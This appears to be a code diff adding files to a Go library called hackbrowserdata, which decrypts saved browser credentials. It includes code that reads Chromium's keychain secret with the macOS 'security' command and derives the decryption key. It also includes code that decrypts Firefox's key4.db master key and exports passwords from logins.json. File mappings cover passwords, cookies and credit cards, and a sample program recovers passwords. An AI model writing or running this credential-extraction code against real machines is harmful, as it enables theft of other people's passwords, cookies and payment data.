| 				profiles = append(profiles, filepath.Dir(path)) | ||||
| 			} | ||||
| 		} | ||||
| 
 | ||||
| 		// calculate the depth of the current path
 | ||||
| 		depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator))) | ||||
| 		// if the depth is more than 2 and it's a directory, skip it
 | ||||
| 		if info.IsDir() && path != root && depth >= 2 { | ||||
| 			return filepath.SkipDir | ||||
| 		} | ||||
| 		return err | ||||
| 	}) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return profiles, err | ||||
| } | ||||
| @ -0,0 +1,46 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/sha1" | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"os/exec" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	salt = []byte("saltysalt") | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) initMasterKey() error { | ||||
| 	var stdout, stderr bytes.Buffer | ||||
| 	args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)} | ||||
| 	cmd := exec.Command("security", args...) //nolint:gosec
 | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	if err := cmd.Run(); err != nil { | ||||
| 		return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String()) | ||||
| 	} | ||||
| 
 | ||||
| 	if stderr.Len() > 0 { | ||||
| 		if strings.Contains(stderr.String(), "could not be found") { | ||||
| 			return ErrCouldNotFindInKeychain | ||||
| 		} | ||||
| 		return errors.New(stderr.String()) | ||||
| 	} | ||||
| 
 | ||||
| 	secret := bytes.TrimSpace(stdout.Bytes()) | ||||
| 	if len(secret) == 0 { | ||||
| 		return ErrNoPasswordInOutput | ||||
| 	} | ||||
| 
 | ||||
| 	key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New) | ||||
| 	if len(key) == 0 { | ||||
| 		return ErrWrongSecurityCommand | ||||
| 	} | ||||
| 	c.masterKey = key | ||||
| 	return nil | ||||
| } | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -0,0 +1,144 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"github.com/moond4rk/hackbrowserdata/browserdata" | ||||
| ) | ||||
| 
 | ||||
| type DataType int | ||||
| 
 | ||||
| const ( | ||||
| 	TypeMasterKey DataType = iota | ||||
| 	TypePassword | ||||
| 	TypeCookie | ||||
| 	TypeHistory | ||||
| 	TypeBookmark | ||||
| 	TypeCreditCard | ||||
| 	TypeDownload | ||||
| 	TypeExtensions | ||||
| 	TypeSessionStorage | ||||
| 	TypeLocalStorage | ||||
| ) | ||||
| 
 | ||||
| func (i DataType) NewExtractor(browserType browserType, masterKey []byte, datafiles []string) browserdata.Extractor { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		switch browserType { | ||||
| 		case browserTypeChromium: | ||||
| 			return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultDBHandler, browserdata.ChromiumPassRowsHandler) | ||||
| 		case browserTypeFirefox: | ||||
| 			return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultJSONHandler, browserdata.FirefoxPassRowsHandler) | ||||
| 		} | ||||
| 	case TypeCookie: | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| var ( | ||||
| 	defaultDataTypes = []DataType{TypePassword, TypeCookie} | ||||
| ) | ||||
| 
 | ||||
| const unsupportedType = "" | ||||
| 
 | ||||
| func (i DataType) Filename(b browser) string { | ||||
| 	switch b.Type() { | ||||
| 	case browserTypeChromium: | ||||
| 		return i.chromiumFilename() | ||||
| 	case browserTypeFirefox: | ||||
| 		return i.firefoxFilename() | ||||
| 	case browserTypeYandex: | ||||
| 		return i.yandexFilename() | ||||
| 	default: | ||||
| 		return unsupportedType | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i DataType) chromiumFilename() string { | ||||
| 	switch i { | ||||
| 	case TypeMasterKey: | ||||
| 		return fileChromiumKey | ||||
| 	case TypePassword: | ||||
| 		return fileChromiumPassword | ||||
| 	case TypeCookie: | ||||
| 		return fileChromiumCookie | ||||
| 	case TypeHistory: | ||||
| 		return fileChromiumHistory | ||||
| 	case TypeBookmark: | ||||
| 		return fileChromiumBookmark | ||||
| 	case TypeCreditCard: | ||||
| 		return fileChromiumCredit | ||||
| 	case TypeDownload: | ||||
| 		return fileChromiumDownload | ||||
| 	case TypeExtensions: | ||||
| 		return fileChromiumExtension | ||||
| 	case TypeSessionStorage: | ||||
| 		return fileChromiumSessionStorage | ||||
| 	case TypeLocalStorage: | ||||
| 		return fileChromiumLocalStorage | ||||
| 	default: | ||||
| 		return unsupportedFile | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i DataType) yandexFilename() string { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		return fileYandexPassword | ||||
| 	case TypeCreditCard: | ||||
| 		return fileYandexCredit | ||||
| 	default: | ||||
| 		return i.chromiumFilename() | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i DataType) firefoxFilename() string { | ||||
| 	switch i { | ||||
| 	case TypeMasterKey: | ||||
| 		return fileFirefoxMasterKey | ||||
| 	case TypePassword: | ||||
| 		return fileFirefoxPassword | ||||
| 	case TypeCookie: | ||||
| 		return fileFirefoxCookie | ||||
| 	case TypeHistory: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeBookmark: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeCreditCard: | ||||
| 		// Firefox does not store credit cards
 | ||||
| 		return unsupportedFile | ||||
| 	case TypeDownload: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeExtensions: | ||||
| 		return fileFirefoxExtension | ||||
| 	case TypeSessionStorage: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeLocalStorage: | ||||
| 		return fileFirefoxLocalStorage | ||||
| 	default: | ||||
| 		return unsupportedFile | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| const unsupportedFile = "unsupported file" | ||||
| 
 | ||||
| const ( | ||||
| 	fileChromiumKey            = "Local State" | ||||
| 	fileChromiumCredit         = "Web Data" | ||||
| 	fileChromiumPassword       = "Login Data" | ||||
| 	fileChromiumHistory        = "History" | ||||
| 	fileChromiumDownload       = "History" | ||||
| 	fileChromiumCookie         = "Cookies" | ||||
| 	fileChromiumBookmark       = "Bookmarks" | ||||
| 	fileChromiumLocalStorage   = "Local Storage/leveldb" | ||||
| 	fileChromiumSessionStorage = "Session Storage" | ||||
| 	fileChromiumExtension      = "Extensions" | ||||
| 
 | ||||
| 	fileYandexPassword = "Ya Passman Data" | ||||
| 	fileYandexCredit   = "Ya Credit Cards" | ||||
| 
 | ||||
| 	fileFirefoxMasterKey    = "key4.db" | ||||
| 	fileFirefoxCookie       = "cookies.sqlite" | ||||
| 	fileFirefoxPassword     = "logins.json" | ||||
| 	fileFirefoxData         = "places.sqlite" | ||||
| 	fileFirefoxLocalStorage = "webappsstore.sqlite" | ||||
| 	fileFirefoxExtension    = "extensions.json" | ||||
| ) | ||||
| @ -0,0 +1,15 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"errors" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	ErrBrowserNotExists       = errors.New("browser not exists") | ||||
| 	ErrBrowserNotSupport      = errors.New("browser not support") | ||||
| 	ErrWrongSecurityCommand   = errors.New("wrong security command") | ||||
| 	ErrNoPasswordInOutput     = errors.New("no password in output") | ||||
| 	ErrCouldNotFindInKeychain = errors.New("could not be find in keychain") | ||||
| 	ErrBrowsingDataNotSupport = errors.New("browsing data not support") | ||||
| 	ErrBrowsingDataNotExists  = errors.New("browsing data not exists") | ||||
| ) | ||||
| @ -0,0 +1,23 @@ | ||||
| package main | ||||
| 
 | ||||
| import ( | ||||
| 	"fmt" | ||||
| 
 | ||||
| 	hkb "github.com/moond4rk/hackbrowserdata" | ||||
| ) | ||||
| 
 | ||||
| func main() { | ||||
| 	browser, err := hkb.NewBrowser(hkb.Firefox) | ||||
| 	if err != nil { | ||||
| 		panic(err) | ||||
| 	} | ||||
| 	passwords, err := browser.Passwords() | ||||
| 	if err != nil { | ||||
| 		panic(err) | ||||
| 	} | ||||
| 	fmt.Println(len(passwords)) | ||||
| 	// all, err := browser.AllBrowsingData()
 | ||||
| 	// if err != nil {
 | ||||
| 	// 	panic(err)
 | ||||
| 	// }
 | ||||
| } | ||||
| @ -0,0 +1,202 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"database/sql" | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"io/fs" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	// import sqlite3 driver
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/browserdata" | ||||
| 	"github.com/moond4rk/hackbrowserdata/crypto" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| ) | ||||
| 
 | ||||
| type firefox struct { | ||||
| 	name               browser | ||||
| 	storage            string | ||||
| 	profilePath        string | ||||
| 	profilePaths       []string | ||||
| 	profilePathKeys    map[string][]byte | ||||
| 	disableFindAllUser bool | ||||
| 	firefoxPassword    []byte | ||||
| 	supportedData      []DataType | ||||
| 	supportedDataMap   map[DataType]struct{} | ||||
| } | ||||
| 
 | ||||
| func NewFirefox(options *Options) (Browser, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) Init() error { | ||||
| 	if err := f.initBrowserData(); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	if err := f.initProfiles(); err != nil { | ||||
| 		return fmt.Errorf("profile path '%s' does not exist %w", f.profilePath, ErrBrowserNotExists) | ||||
| 	} | ||||
| 	return f.initMasterKey() | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) Passwords() ([]browserdata.Password, error) { | ||||
| 	if _, ok := f.supportedDataMap[TypePassword]; !ok { | ||||
| 		// TODO: Error handle more gracefully
 | ||||
| 		return nil, errors.New("password for c.name is not supported") | ||||
| 	} | ||||
| 	var fullPass []browserdata.Password | ||||
| 	for profile, masterKey := range f.profilePathKeys { | ||||
| 		passFile := filepath.Join(profile, TypePassword.Filename(f.name)) | ||||
| 		if !fileutil.IsFileExists(passFile) { | ||||
| 			return nil, errors.New("password file does not exist") | ||||
| 		} | ||||
| 		passwords, err := browserdata.ExportPasswords(masterKey, passFile) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		if len(passwords) > 0 { | ||||
| 			fullPass = append(fullPass, passwords...) | ||||
| 		} | ||||
| 	} | ||||
| 	return fullPass, nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) initBrowserData() error { | ||||
| 	if f.supportedDataMap == nil { | ||||
| 		f.supportedDataMap = make(map[DataType]struct{}) | ||||
| 	} | ||||
| 	for _, v := range f.supportedData { | ||||
| 		f.supportedDataMap[v] = struct{}{} | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) initProfiles() error { | ||||
| 	if !fileutil.IsDirExists(f.profilePath) { | ||||
| 		return ErrBrowserNotExists | ||||
| 	} | ||||
| 	if !f.disableFindAllUser { | ||||
| 		profilesPaths, err := f.findAllProfiles() | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 		f.profilePaths = profilesPaths | ||||
| 	} else { | ||||
| 		f.profilePaths = []string{f.profilePath} | ||||
| 	} | ||||
| 	f.profilePathKeys = make(map[string][]byte) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) findAllProfiles() ([]string, error) { | ||||
| 	var profiles []string | ||||
| 	root := fileutil.ParentDir(f.profilePath) | ||||
| 
 | ||||
| 	err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error { | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 		if strings.HasSuffix(path, "key4.db") { | ||||
| 			profiles = append(profiles, filepath.Dir(path)) | ||||
| 		} | ||||
| 		depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator))) | ||||
| 
 | ||||
| 		// if the depth is more than 2 and it's a directory, skip it
 | ||||
| 		if info.IsDir() && path != root && depth >= 3 { | ||||
| 			return filepath.SkipDir | ||||
| 		} | ||||
| 		return err | ||||
| 	}) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return profiles, err | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) initMasterKey() error { | ||||
| 	for _, profile := range f.profilePaths { | ||||
| 		key, err := f.findMasterKey(profile) | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 		f.profilePathKeys[profile] = key | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) findMasterKey(profile string) ([]byte, error) { | ||||
| 	keyFile := "key4.db" | ||||
| 	keyPath := filepath.Join(profile, keyFile) | ||||
| 	if !fileutil.IsFileExists(keyPath) { | ||||
| 		// TODO: handle error with more details
 | ||||
| 		return nil, ErrBrowserNotExists | ||||
| 	} | ||||
| 	tempFile := filepath.Join(os.TempDir(), keyFile) | ||||
| 	if err := fileutil.CopyFile(keyPath, tempFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempFile) | ||||
| 	globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(tempFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	metaPBE, err := crypto.NewASN1PBE(metaBytes) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 
 | ||||
| 	k, err := metaPBE.Decrypt(globalSalt) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} | ||||
| 	if !bytes.Equal(k, []byte("password-check")) || !bytes.Equal(nssA102, keyLin) { | ||||
| 		return nil, fmt.Errorf("invalid master key") | ||||
| 	} | ||||
| 	nssPBE, err := crypto.NewASN1PBE(nssA11) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	masterKey, err := nssPBE.Decrypt(globalSalt) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return masterKey, nil | ||||
| } | ||||
| 
 | ||||
| func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) { | ||||
| 	db, err := sql.Open("sqlite3", key4file) | ||||
| 	if err != nil { | ||||
| 		return nil, nil, nil, nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 	var ( | ||||
| 		queryMetaData   = `SELECT item1, item2 FROM metaData WHERE id = 'password'` | ||||
| 		queryNssPrivate = `SELECT a11, a102 from nssPrivate` | ||||
| 	) | ||||
| 	if err = db.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil { | ||||
| 		return nil, nil, nil, nil, fmt.Errorf("query metaData failed: %w, query: %s", err, queryMetaData) | ||||
| 	} | ||||
| 
 | ||||
| 	if err = db.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil { | ||||
| 		return nil, nil, nil, nil, fmt.Errorf("query nssPrivate failed: %w, query: %s", err, queryNssPrivate) | ||||
| 	} | ||||
| 	return item1, item2, a11, a102, nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) setDisableAllUsers(e bool) { | ||||
| 	f.disableFindAllUser = e | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) setProfilePath(p string) { | ||||
| 	f.profilePath = p | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) setStorageName(s string) { | ||||
| 	f.storage = s | ||||
| } | ||||
| @ -0,0 +1,17 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"testing" | ||||
| ) | ||||
| 
 | ||||
| func TestFirefox_Init(t *testing.T) { | ||||
| 	// firefox := browsers[Firefox]
 | ||||
| 	// if err := firefox.Init(); err != nil {
 | ||||
| 	// 	t.Fatal(err)
 | ||||
| 	// }
 | ||||
| 	// passwords, err := firefox.Passwords()
 | ||||
| 	// if err != nil {
 | ||||
| 	// 	t.Fatal(err)
 | ||||
| 	// }
 | ||||
| 	// fmt.Println(passwords)
 | ||||
| } | ||||
| @ -0,0 +1,36 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| type Options struct { | ||||
| 	Name            browser | ||||
| 	Storage         string | ||||
| 	ProfilePath     string | ||||
| 	IsEnableAllUser bool | ||||
| 	DataTypes       []DataType | ||||
| 	NewBrowserFunc  func(*Options) (Browser, error) | ||||
| } | ||||
| 
 | ||||
| type BrowserOption func(*Options) | ||||
| 
 | ||||
| func WithBrowserName(p string) BrowserOption { | ||||
| 	return func(o *Options) { | ||||
| 		o.Name = browser(p) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func WithProfilePath(p string) BrowserOption { | ||||
| 	return func(o *Options) { | ||||
| 		o.ProfilePath = p | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func WithEnableAllUsers(e bool) BrowserOption { | ||||
| 	return func(o *Options) { | ||||
| 		o.IsEnableAllUser = e | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func WithStorageName(s string) BrowserOption { | ||||
| 	return func(o *Options) { | ||||
| 		o.Storage = s | ||||
| 	} | ||||
| } | ||||
					Loading…
					
					
				
		Reference in new issue